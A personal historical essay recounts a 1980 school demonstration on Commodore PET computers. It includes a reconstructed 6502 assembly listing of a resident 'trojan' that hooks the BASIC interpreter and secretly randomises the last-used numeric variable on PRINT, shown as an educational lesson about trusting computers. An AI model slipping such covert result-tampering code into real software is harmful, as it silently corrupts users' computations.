My very first self-written »malware« (Winter 1980)

Bernd Fix <brf@hoi-polloi.org>

Introduction

During the last year at school before final examination my math teacher decided not only to each the class programming at the newly founded »computer lab« on Commodore PET 8032 computers, but to include lectures and discussions about chances and risks of computer technology as well. I am so thankful to my former teacher (Eckard Lotze), because in retrospect it is fair to assume that his discussions we me finally pushed me over the edge into the realm of hacking...

That year everyone in class had to do a lecture of his/her own choosing about a (non-technical) topic related to computers; some got books like „*Computer Power and Human Reason. From Judgement to Calculation*." by Joseph Weizenbaum (1977), „1984" by George Orwell (1984) or „*The Great Computer: A Vision*" by Olof Johannesson[1] (1968).

Hidden Manipulation

I decided not to review a book, but to do some work of my own. In earlier discussions we talked about the topics of programmers misusing their "power" to manipulate computers towards their end and the problem that most people would mistrust themselves before they mistrust in the results of a computer. I decided to combine both topics and start with a demonstration (arranged with the teacher).

When the day of my lecture came, I was in the computer lab with just my teacher and installed a little program on all the computers before the lesson started:

```
*** commodore basic 4.0 ***

 31743 bytes free

ready.
load "trojan",8

searching for trojan
loading
ready.
sys(826)

ready.
```

The computers were left running (so a hard reset would not remove the resident program) and I pressed »RETURN« several times to clear the screen.

When the lesson began the teacher announced that my talk will be postponed and this lesson wull be about doing some own programming together on the computers in the lab. I don't remember what task was set exactly, but it goes something like this: »Write a small BASIC program that sums all integers

1 Pseudonym used by Physics Nobel Price laureate Hannes Olof Gösta Alfvén

from 1 to *n*.« The task was easy for everyone; some people came up with something like this:

```
list

 10 print "n="
 20 input n
 30 sum = 0
 40 for i = 1 to n
 50 sum = sum + i
 60 next i
 70 print "sum="; sum
ready.
```

The program is pretty simple, even for most non-programmers. When run, it produces the expected (and correct) results. You get the same results if you do it by hand. Everything is fine:

```
run
n=
? 10
sum= 55

ready.
run
n=
? 13
sum= 91

ready.
```

Some came up with a slightly different program: they had line 30 of the previous program moved before line 10 at the start of the program; everything else is the same

```
list

 10 sum = 0
 20 print "n="
 30 input n
 40 for i = 1 to n
 50 sum = sum + i
 60 next i
 70 print "sum="; sum
ready.
```

This program should give the same results, but when run it produced nonsense – and different nonsense every time you let it run even for the same input:

```
run
n=
? 10
sum= 29827

ready.
run
n=
```

```
? 10
sum= 12515

ready.
```

People which ended up with this screwed version freaked out. They changed code here and there and it still didn't work. What is going on? The ones with the working program showed their “it works!” solution, and the others were still convinced, they did something wrong. At this point the teacher stopped everyone.

Still nobody suspected any hidden manipulation to the computer. So I explained what I had done...

Trojan Horse

At that time I had never heard the term »malware« or »trojan horse« for any kind of software. So my program original had no name (and if it had, I have forgotten about by now – nearly 35 years later).

What the program did was to stay resident in an unused part of the memory (buffer for second tape drive that was not installed) and to “hook into” the BASIC interpreter. So whenever a program is run and starts to execute a **PRINT** command, my program temporarily takes over. It then overrides the last numerical variable used in the program with a random value. That is all there is to it.

Now it is easy to understand what happens in both cases:

- With the program that works, the first **PRINT** command (line 10) triggers no action (there is no last-used numerical variable yet). The second **PRINT** command (line 70) changes the value of the variable **I** (that variable was last used in the **NEXT** command the previous line) – but since the loop is done already that change of value has no impact. Everything seems to work fine.

  You can discover something unexpected, if you say “**PRINT I**” after the program has finished: The value of **I** should be the same as the input value **N**, but in fact it is some random value.

- With the program that does not work, the first **PRINT** command (line 30) triggers an action and changes the value of **SUM** to something random. The resulting value of **SUM** is therefore never correct because summing up does not start with zero. The second **PRINT** command (line 70) changes the value of the variable **I** (as before) too but without immediate effect.

The TROJAN program

The original source code to this program is lost – and it would be a miracle if it pops up somewhere sometime. So all I could do was to *reconstruct* the program from what I remembered how it worked.

Thanks to the tools available (cross-assembler for 6502 and the VICE framework) I managed to get something back up that is working the way I remember it.

```
;-------------------------------------------
; TROJAN.ASM -- hidden program that puts
;     a random value  into the last-used
;     number variable on every >>PRINT<<
;     command invocation.
;
; Copyright (c) 1980 by Bernd Fix    >Y<
;
; N.B.   This is not the original source
; code, but a reconstructed version from
; oral tradition and the fallible memory
; of the author.
;-------------------------------------------

         *      = $33A

;-------------------------------------------
; Defines for zero-page entries (pointers,
; subroutines) and BASIC ROM subroutines.
;-------------------------------------------

         VARNAM = $42
         VARPNT = $44
         CHRGET = $70
         TMPCHR = $73           ; re-use the three spare bytes
         TMPPTR = $74           ;   in hooked GETCHR.

         GIVAYF = $C4BC
         MOV2F  = $CD0A

;-------------------------------------------
; SYS(826) -- Initialize the program by
;     creating a "hook" into the CHRGET
;     subroutine in the zero-page
;-------------------------------------------

         LDX     #2             ; Override first three bytes
L1       LDA     HOOK,X         ; of CHRGET with "hook" vector
         STA     CHRGET,X
         DEX
         BPL     L1
         RTS

;-------------------------------------------
; "Hook" call that overrides the first three
; bytes of the initial CHRGET routine.
;-------------------------------------------

HOOK     JMP     PROC           ; jump to "hooked" procedure

;-------------------------------------------
; "Hooked" procedure -- perform instructions
; overridden by hook and evaluate the next
```

```
; BASIC character. If it is a "PRINT" token,
; override the last number variable used with
; a random 15-bit number (positive integer).
;-----------------------------------------

PROC     INC     CHRGET+7       ; Increment char pointer
         BNE     L2
         INC     CHRGET+8
L2       JSR     CHRGET+6       ; get next char (or token)
         STA     TMPCHR         ; save temporarily

         PHP                    ; save state and registers on stack
         PHA
         TXA
         PHA
         TYA
         PHA

         LDA     TMPCHR
         CMP     #$99           ; PRINT command?
         BNE     L4             ; Leave if false

         LDA     VARPNT+1       ; is high byte of VARPNT = 0xFF
         CMP     #$FF
         BEQ     L4             ; Leave if true
         STA     TMPPTR+1       ; save temp high byte
         LDA     VARPNT         ; load low byte of VARPNT
         SEC
         SBC     #2             ; subtract 2
         BCS     L3
         DEC     TMPPTR+1
L3       STA     TMPPTR         ; save in temp low byte

         LDY     #0
         LDA     (TMPPTR),Y     ; is first char of name the same
         CMP     VARNAM         ;   in VARNAM and (VARPTR-2)?
         BNE     L4             ; Leave if false

         CMP     #$41           ; is first char in range [A-Z]?
         BMI     L4
         CMP     #$5B
         BPL     L4             ; Leave if false

         INY
         LDA     (TMPPTR),Y     ; is second char of name the same
         CMP     VARNAM+1       ;   in VARNAM+1 and (VARPTR-1)?
         BNE     L4             ; Leave if false

         AND     #$80           ; check if variable is a string
         BNE     L4             ; leave if true

         JSR     PRNG           ; generate low byte of random value
         TAY
         JSR     PRNG           ; generate high byte of random value
         AND     #$7F           ; mask sign bit
         JSR     GIVAYF         ; convert integer to FAC
         LDX     VARPNT         ; store FAC at variable data
         LDY     VARPNT+1
         JSR     MOV2F

L4       PLA                    ; leave routine
         TAY                    ; restore registers and state
         PLA
```

```
         TAX
         PLA
         PLP
         LDA     TMPCHR         ; leave with next char (or token)
         RTS

;-----------------------------------------
; PRNG -- generate random byte from a
; 4-byte LFSR in zero-page slots (16-19).
; result byte is lowest register (16).
;-----------------------------------------

PRNG     LDX     #7
L5       LDA     LSFR+3
         EOR     LSFR
         ASL
         ASL
         ROL     LSFR
         ROL     LSFR+1
         ROL     LSFR+2
         ROL     LSFR+3
         DEX
         BPL     L5
         RTS

;-----------------------------------------
; Variables (LSFR, temp. store)
;-----------------------------------------

LSFR     .BYTE   $BF, $19, $03, $62
```